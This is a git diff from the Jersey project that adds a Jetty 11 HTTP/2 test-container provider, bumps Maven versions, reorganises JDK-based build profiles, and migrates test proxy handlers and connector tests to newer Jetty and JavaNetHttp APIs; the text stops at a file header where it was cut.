diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/package-info.java similarity index 77% rename from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java rename to test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/package-info.java index dd25372..0fdbe9d 100644 --- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java +++ b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/package-info.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,7 +14,7 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.internal.jsr166; - -public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> { -} +/** + * Jersey test framework for Jetty 11 HTTP/2 Container. + */ +package org.glassfish.jersey.test.jetty11.http2;
diff --git a/test-framework/providers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory b/test-framework/providers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory new file mode 100644 index 0000000..0edcf72 --- /dev/null +++ b/test-framework/providers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
@@ -0,0 +1 @@ +org.glassfish.jersey.test.jetty11.http2.Jetty11Http2TestContainerFactory
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/test-framework/providers/jetty11-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties similarity index 98% copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties copy to test-framework/providers/jetty11-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties index 2886c72..f10b03c 100644 --- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties +++ b/test-framework/providers/jetty11-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
@@ -15,4 +15,4 @@ # # {0} - status code; {1} - status reason message -not.supported=Jetty container is not supported on JDK version less than 11. +not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/AvailablePortJetty11Test.java b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/AvailablePortJetty11Test.java new file mode 100644 index 0000000..ac93ccb --- /dev/null +++ b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/AvailablePortJetty11Test.java
@@ -0,0 +1,66 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.jetty11.http2; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; + +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.DeploymentContext; +import org.glassfish.jersey.test.JerseyTest; +import org.glassfish.jersey.test.TestProperties; +import org.glassfish.jersey.test.spi.TestContainerFactory; + +import org.junit.jupiter.api.Test; +import static org.hamcrest.CoreMatchers.equalTo; +import static org.hamcrest.CoreMatchers.not; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * Tests finding an available port for container. + * + */ +public class AvailablePortJetty11Test extends JerseyTest { + + @Override + protected TestContainerFactory getTestContainerFactory() { + return new Jetty11Http2TestContainerFactory(); + } + + @Path("AvailablePortJettyTest") + public static class TestResource { + @GET + public String get() { + return "GET"; + } + } + + @Override + protected DeploymentContext configureDeployment() { + forceSet(TestProperties.CONTAINER_PORT, "0"); + + return DeploymentContext.builder(new ResourceConfig(TestResource.class)).build(); + } + + @Test + public void testGet() { + assertThat(target().getUri().getPort(), not(0)); + assertThat(getBaseUri().getPort(), not(0)); + + assertThat(target("AvailablePortJettyTest").request().get(String.class), equalTo("GET")); + } +}
diff --git a/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/Jetty11ContainerTest.java b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/Jetty11ContainerTest.java new file mode 100644 index 0000000..0ec4c06 --- /dev/null +++ b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/Jetty11ContainerTest.java
@@ -0,0 +1,119 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.jetty11.http2; + +import java.net.URI; +import java.util.List; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.inject.hk2.DelayedHk2InjectionManager; +import org.glassfish.jersey.inject.hk2.ImmediateHk2InjectionManager; +import org.glassfish.jersey.internal.inject.InjectionManager; +import org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerFactory; +import org.glassfish.jersey.jetty.Jetty11HttpContainer; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.glassfish.hk2.api.ServiceLocator; + +import org.jvnet.hk2.internal.ServiceLocatorImpl; + +import org.eclipse.jetty.server.Server; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Test class for {@link Jetty11HttpContainer}. + * + */ +public class Jetty11ContainerTest extends JerseyTest { + + /** + * Creates new instance. + */ + public Jetty11ContainerTest() { + super(new Jetty11Http2TestContainerFactory()); + } + + @Override + protected ResourceConfig configure() { + return new ResourceConfig(Resource.class); + } + + /** + * Test resource class. + */ + @Path("one") + public static class Resource { + + /** + * Test resource method. + * + * @return Test simple string response. + */ + @GET + public String getSomething() { + return "get"; + } + } + + @Test + /** + * Test {@link Server Jetty Server} container. + */ + public void testJettyContainerTarget() { + final Response response = target().path("one").request().get(); + + assertEquals(200, response.getStatus(), "Response status unexpected."); + assertEquals("get", response.readEntity(String.class), "Response entity unexpected."); + } + + /** + * Test that defined ServiceLocator becomes a parent of the newly created service locator. + */ + @Test + public void testParentServiceLocator() { + final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null); + final Server server = Jetty11Http2ContainerFactory.createHttp2Server(URI.create("http://localhost:9876"), + new ResourceConfig(Resource.class), false, locator); + final Jetty11HttpContainer container = (Jetty11HttpContainer) server.getHandler(); + final InjectionManager injectionManager = container.getApplicationHandler().getInjectionManager(); + + ServiceLocator serviceLocator; + if (injectionManager instanceof ImmediateHk2InjectionManager) { + serviceLocator = ((ImmediateHk2InjectionManager) injectionManager).getServiceLocator(); + } else if (injectionManager instanceof DelayedHk2InjectionManager) { + serviceLocator = ((DelayedHk2InjectionManager) injectionManager).getServiceLocator(); + } else { + throw new RuntimeException("Invalid Hk2 InjectionManager"); + } + assertTrue(serviceLocator.getParent() == locator, + "Application injection manager was expected to have defined parent locator"); + } + @Test + public void testHttp2Container() { + final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null); + final Server server = Jetty11Http2ContainerFactory.createHttp2Server(URI.create("http://localhost:9876"), + new ResourceConfig(Resource.class), true, locator); + final List<String> protocols = server.getConnectors()[0].getProtocols(); + assertTrue(protocols.contains("h2") || protocols.contains("h2c")); + } +}
diff --git a/test-framework/providers/netty/pom.xml b/test-framework/providers/netty/pom.xml index 0e439ec..8c4aecf 100644 --- a/test-framework/providers/netty/pom.xml +++ b/test-framework/providers/netty/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2016, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2016, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.test-framework.providers</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-test-framework-provider-netty</artifactId>
diff --git a/test-framework/providers/pom.xml b/test-framework/providers/pom.xml index 564a4ac..59da49e 100644 --- a/test-framework/providers/pom.xml +++ b/test-framework/providers/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.test-framework</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.test-framework.providers</groupId>
diff --git a/test-framework/providers/simple/pom.xml b/test-framework/providers/simple/pom.xml index bbb9e13..643d917 100644 --- a/test-framework/providers/simple/pom.xml +++ b/test-framework/providers/simple/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -21,7 +21,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.test-framework.providers</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/test-framework/util/pom.xml b/test-framework/util/pom.xml index b0adcad..4d2dddc 100644 --- a/test-framework/util/pom.xml +++ b/test-framework/util/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.test-framework</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-test-framework-util</artifactId>
diff --git a/tests/e2e-client/pom.xml b/tests/e2e-client/pom.xml index 22104d4..3dce2ff 100644 --- a/tests/e2e-client/pom.xml +++ b/tests/e2e-client/pom.xml
@@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>e2e-client</artifactId> @@ -74,6 +74,12 @@ <artifactId>jersey-test-framework-provider-bundle</artifactId> <type>pom</type> <scope>test</scope> + <exclusions> + <exclusion> + <groupId>org.glassfish.jersey.test-framework.providers</groupId> + <artifactId>jersey-test-framework-provider-jetty</artifactId> + </exclusion> + </exclusions> </dependency> <dependency> <groupId>jakarta.annotation</groupId> @@ -107,20 +113,10 @@ </dependency> <dependency> <groupId>org.glassfish.jersey.ext</groupId> - <artifactId>jersey-bean-validation</artifactId> - <scope>test</scope> - </dependency> - <dependency> - <groupId>org.glassfish.jersey.ext</groupId> <artifactId>jersey-entity-filtering</artifactId> <scope>test</scope> </dependency> <dependency> - <groupId>org.glassfish.jersey.ext</groupId> - <artifactId>jersey-mvc-bean-validation</artifactId> - <scope>test</scope> - </dependency> - <dependency> <groupId>org.glassfish.jersey.media</groupId> <artifactId>jersey-media-sse</artifactId> <scope>test</scope> @@ -147,12 +143,12 @@ </dependency> <dependency> <groupId>org.glassfish.jersey.connectors</groupId> - <artifactId>jersey-jdk-connector</artifactId> + <artifactId>jersey-jnh-connector</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>org.glassfish.jersey.connectors</groupId> - <artifactId>jersey-jetty-connector</artifactId> + <artifactId>jersey-jdk-connector</artifactId> <scope>test</scope> </dependency> <dependency> @@ -230,9 +226,97 @@ <profiles> <profile> + <id>Jetty12Default</id> + <activation> + <jdk>[17,)</jdk> + </activation> + <dependencies> + <dependency> + <groupId>org.glassfish.jersey.connectors</groupId> + <artifactId>jersey-jetty-connector</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.test-framework.providers</groupId> + <artifactId>jersey-test-framework-provider-jetty</artifactId> + </dependency> + </dependencies> + </profile> + <profile> + <id>Jetty11JDK11</id> + <activation> + <jdk>[11,17)</jdk> + </activation> + <dependencies> + <dependency> + <groupId>org.glassfish.jersey.connectors</groupId> + <artifactId>jersey-jetty11-connector</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-client</artifactId> + <version>${jetty11.version}</version> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-http</artifactId> + <version>${jetty11.version}</version> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + <exclusion> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-util</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-io</artifactId> + <version>${jetty11.version}</version> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + <exclusion> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-util</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-util</artifactId> + <version>${jetty11.version}</version> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + <version>${slf4j.version}</version> + </dependency> + </dependencies> + </profile> + + <profile> <id>JettyTestExclude</id> <activation> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <build> <plugins> @@ -260,16 +344,6 @@ </build> </profile> <profile> - <id>jdk11+</id> - <activation> - <jdk>[11,)</jdk> - </activation> - <properties> - <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 --> - <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline> - </properties> - </profile> - <profile> <id>xdk</id> <properties> <!-- do not use security manager for xdk --> @@ -296,4 +370,9 @@ </profile> </profiles> + <properties> + <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 --> + <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline> + </properties> + </project>
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java index 051be02..f2c7d82 100644 --- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java +++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2017, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -24,7 +24,6 @@ import java.util.concurrent.Future; import java.util.logging.Level; import java.util.logging.Logger; -import java.util.stream.Stream; import jakarta.ws.rs.PATCH; import jakarta.ws.rs.Path; @@ -36,12 +35,11 @@ import org.glassfish.jersey.apache.connector.ApacheConnectorProvider; import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider; import org.glassfish.jersey.client.ClientConfig; -import org.glassfish.jersey.client.HttpUrlConnectorProvider; import org.glassfish.jersey.client.spi.ConnectorProvider; import org.glassfish.jersey.grizzly.connector.GrizzlyConnectorProvider; -import org.glassfish.jersey.internal.util.JdkVersion; import org.glassfish.jersey.jdk.connector.JdkConnectorProvider; import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; +import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider; import org.glassfish.jersey.logging.LoggingFeature; import org.glassfish.jersey.netty.connector.NettyConnectorProvider; import org.glassfish.jersey.server.ResourceConfig; @@ -62,16 +60,15 @@ private static final Logger LOGGER = Logger.getLogger(RequestHeaderModificationsTest.class.getName()); public static List<ConnectorProvider> testData() { - int size = JdkVersion.getJdkVersion().getMajor() < 11 ? 5 : 6; - final ConnectorProvider[] providers = new ConnectorProvider[size]; - providers[0] = new JdkConnectorProvider(); - providers[1] = new GrizzlyConnectorProvider(); - providers[2] = new ApacheConnectorProvider(); - providers[3] = new Apache5ConnectorProvider(); - providers[4] = new NettyConnectorProvider(); - if (size == 6) { - providers[5] = new JettyConnectorProvider(); - } + final ConnectorProvider[] providers = new ConnectorProvider[] { + new JdkConnectorProvider(), + new GrizzlyConnectorProvider(), + new ApacheConnectorProvider(), + new Apache5ConnectorProvider(), + new NettyConnectorProvider(), + new JavaNetHttpConnectorProvider(), + new JettyConnectorProvider(), + }; return Arrays.asList(providers); }
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java index 55376fa..f381d5f 100644 --- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java +++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java
@@ -23,7 +23,6 @@ import org.glassfish.jersey.client.HttpUrlConnectorProvider; import org.glassfish.jersey.client.RequestEntityProcessing; import org.glassfish.jersey.client.spi.ConnectorProvider; -import org.glassfish.jersey.internal.util.JdkVersion; import org.glassfish.jersey.jdk.connector.JdkConnectorProvider; import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; import org.glassfish.jersey.media.multipart.FormDataBodyPart; @@ -35,6 +34,7 @@ import org.glassfish.jersey.media.multipart.MultiPart; import org.glassfish.jersey.media.multipart.MultiPartFeature; import org.glassfish.jersey.message.internal.ReaderWriter; +import org.glassfish.jersey.netty.connector.NettyConnectorProvider; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; import org.glassfish.jersey.test.TestProperties; @@ -75,17 +75,16 @@ private static final Logger LOGGER = Logger.getLogger(RequestHeaderModificationsTest.class.getName()); public static ConnectorProvider[] testData() { - int size = JdkVersion.getJdkVersion().getMajor() < 11 ? 3 : 4; - final ConnectorProvider[] providers = new ConnectorProvider[size]; - providers[0] = new HttpUrlConnectorProvider(); - providers[1] = new NettyConnectorProvider(); - providers[2] = new JdkConnectorProvider(); - if (size == 4) { - providers[3] = new JettyConnectorProvider(); - } + final ConnectorProvider[] providers = new ConnectorProvider[] { + new HttpUrlConnectorProvider(), + new NettyConnectorProvider(), + new JdkConnectorProvider(), + new JettyConnectorProvider(), + }; return providers; } + @TestFactory public Collection<DynamicContainer> generateTests() { Collection<DynamicContainer> tests = new ArrayList<>();
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java index 4e1b89e..adc1b27 100644 --- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java +++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java
@@ -58,10 +58,10 @@ import org.glassfish.jersey.client.ClientConfig; import org.glassfish.jersey.client.HttpUrlConnectorProvider; import org.glassfish.jersey.client.spi.ConnectorProvider; -import org.glassfish.jersey.internal.util.JdkVersion; +import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; +import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider; import org.glassfish.jersey.logging.LoggingFeature; import org.glassfish.jersey.grizzly.connector.GrizzlyConnectorProvider; -import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; import org.glassfish.jersey.test.TestProperties; @@ -107,11 +107,13 @@ {new JettyConnectorProvider(), true, false, false, false}, // change to true when JERSEY-2341 fixed {new ApacheConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed {new Apache5ConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed + {new JavaNetHttpConnectorProvider(), true, true, false, false}, {new HttpUrlConnectorProvider(), true, true, true, true}, {new GrizzlyConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed {new JettyConnectorProvider(), true, false, true, false}, // change to true when JERSEY-2341 fixed {new ApacheConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed {new Apache5ConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed + {new JavaNetHttpConnectorProvider(), true, true, false, false}, }); } @@ -119,10 +121,6 @@ public Collection<DynamicContainer> generateTests() { Collection<DynamicContainer> tests = new ArrayList<>(); testData().forEach(arr -> { - if (JdkVersion.getJdkVersion().getMajor() < 11 - && arr[0].getClass().getName().contains("Jetty")) { - return; - } RequestHeaderModificationsTemplateTest test = new RequestHeaderModificationsTemplateTest( (ConnectorProvider) arr[0], (boolean) arr[1], (boolean) arr[2], (boolean) arr[3], (boolean) arr[4]) {}; tests.add(TestHelper.toTestContainer(test, String.format("%s (%s, %s, %s)",
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java index 030119a..65e64a9 100644 --- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java +++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java
@@ -17,10 +17,11 @@ package org.glassfish.jersey.tests.e2e.client.connector.proxy; +import org.eclipse.jetty.server.Handler; import org.eclipse.jetty.server.HttpChannel; import org.eclipse.jetty.server.Request; import org.eclipse.jetty.server.Server; -import org.eclipse.jetty.server.handler.AbstractHandler; +import org.eclipse.jetty.util.Callback; import org.glassfish.jersey.client.ClientConfig; import org.glassfish.jersey.netty.connector.NettyClientProperties; import org.glassfish.jersey.netty.connector.NettyConnectorProvider; @@ -30,8 +31,6 @@ import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; import jakarta.ws.rs.ProcessingException; import jakarta.ws.rs.client.Client; import jakarta.ws.rs.client.ClientBuilder; @@ -113,21 +112,20 @@ return client().target("http://eclipse.org:9998").path(path); } - static class ProxyHandler extends AbstractHandler { + static class ProxyHandler extends Handler.Abstract { Set<HttpChannel> httpConnect = new HashSet<>(); + @Override - public void handle(String target, - Request baseRequest, - HttpServletRequest request, - HttpServletResponse response) { - if (request.getHeader(NO_PASS) != null) { - response.setStatus(Integer.parseInt(request.getHeader(NO_PASS))); + public boolean handle(Request request, org.eclipse.jetty.server.Response response, Callback callback) throws Exception { + if (request.getHeaders().get(NO_PASS) != null) { + response.setStatus(Integer.parseInt(request.getHeaders().get(NO_PASS))); } else { response.setStatus(407); - response.addHeader("Proxy-Authenticate", "Basic"); + response.getHeaders().add("Proxy-Authenticate", "Basic"); } - baseRequest.setHandled(true); + callback.succeeded(); + return true; } } }
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java index 25368cb..9da5b53 100644 --- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java +++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java
@@ -17,10 +17,12 @@ package org.glassfish.jersey.tests.e2e.client.connector.proxy; +import org.eclipse.jetty.server.Handler; import org.eclipse.jetty.server.HttpChannel; import org.eclipse.jetty.server.Request; import org.eclipse.jetty.server.Server; -import org.eclipse.jetty.server.handler.AbstractHandler; +import org.eclipse.jetty.server.internal.HttpChannelState; +import org.eclipse.jetty.util.Callback; import org.glassfish.jersey.apache.connector.ApacheConnectorProvider; import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider; import org.glassfish.jersey.client.ClientConfig; @@ -38,8 +40,6 @@ import org.junit.platform.suite.api.SelectClasses; import org.junit.platform.suite.api.Suite; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; import jakarta.ws.rs.ProcessingException; import jakarta.ws.rs.client.Client; import jakarta.ws.rs.client.ClientBuilder; @@ -202,17 +202,14 @@ } } - static class ProxyHandler extends AbstractHandler { + static class ProxyHandler extends Handler.Abstract { Set<HttpChannel> httpConnect = new HashSet<>(); @Override - public void handle(String target, - Request baseRequest, - HttpServletRequest request, - HttpServletResponse response) { - if (request.getHeader(PROXY_NO_PASS) != null) { - response.setStatus(Integer.parseInt(request.getHeader(PROXY_NO_PASS))); - } else if (request.getHeader("Proxy-Authorization") != null) { - String proxyAuthorization = request.getHeader("Proxy-Authorization"); + public boolean handle(Request request, org.eclipse.jetty.server.Response response, Callback callback) throws Exception { + if (request.getHeaders().get(PROXY_NO_PASS) != null) { + response.setStatus(Integer.parseInt(request.getHeaders().get(PROXY_NO_PASS))); + } else if (request.getHeaders().get("Proxy-Authorization") != null) { + String proxyAuthorization = request.getHeaders().get("Proxy-Authorization"); String decoded = new String(Base64.getDecoder().decode(proxyAuthorization.substring(6).getBytes()), CHARACTER_SET); final String[] split = decoded.split(":"); @@ -231,21 +228,36 @@ if (response.getStatus() != 400) { response.setStatus(200); - if ("CONNECT".equalsIgnoreCase(baseRequest.getMethod())) { // NETTY way of doing proxy - httpConnect.add(baseRequest.getHttpChannel()); + if ("CONNECT".equalsIgnoreCase(request.getMethod())) { // NETTY way of doing proxy + if (!(request.getComponents() instanceof HttpChannelState)) { + response.setStatus(Response.Status.INTERNAL_SERVER_ERROR.getStatusCode()); + callback.failed(new IllegalStateException( + "Expecting request.getComponents() to be an instance of HttpChannelState")); + return true; + } + HttpChannel httpChannel = (HttpChannel) request.getComponents(); + httpConnect.add(httpChannel); } } //TODO Add redirect to requestURI } else { - if (httpConnect.contains(baseRequest.getHttpChannel())) { + if (!(request.getComponents() instanceof HttpChannelState)) { + response.setStatus(Response.Status.INTERNAL_SERVER_ERROR.getStatusCode()); + callback.failed(new IllegalStateException( + "Expecting request.getComponents() to be an instance of HttpChannelState")); + return true; + } + HttpChannel httpChannel = (HttpChannel) request.getComponents(); + if (httpConnect.contains(httpChannel)) { response.setStatus(200); } else { response.setStatus(407); - response.addHeader("Proxy-Authenticate", "Basic"); + response.getHeaders().add("Proxy-Authenticate", "Basic"); } } - baseRequest.setHandled(true); + callback.succeeded(); + return true; } } }
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java index 6564024..05b4267 100644 --- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java +++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/ssl/AbstractConnectorServerTest.java
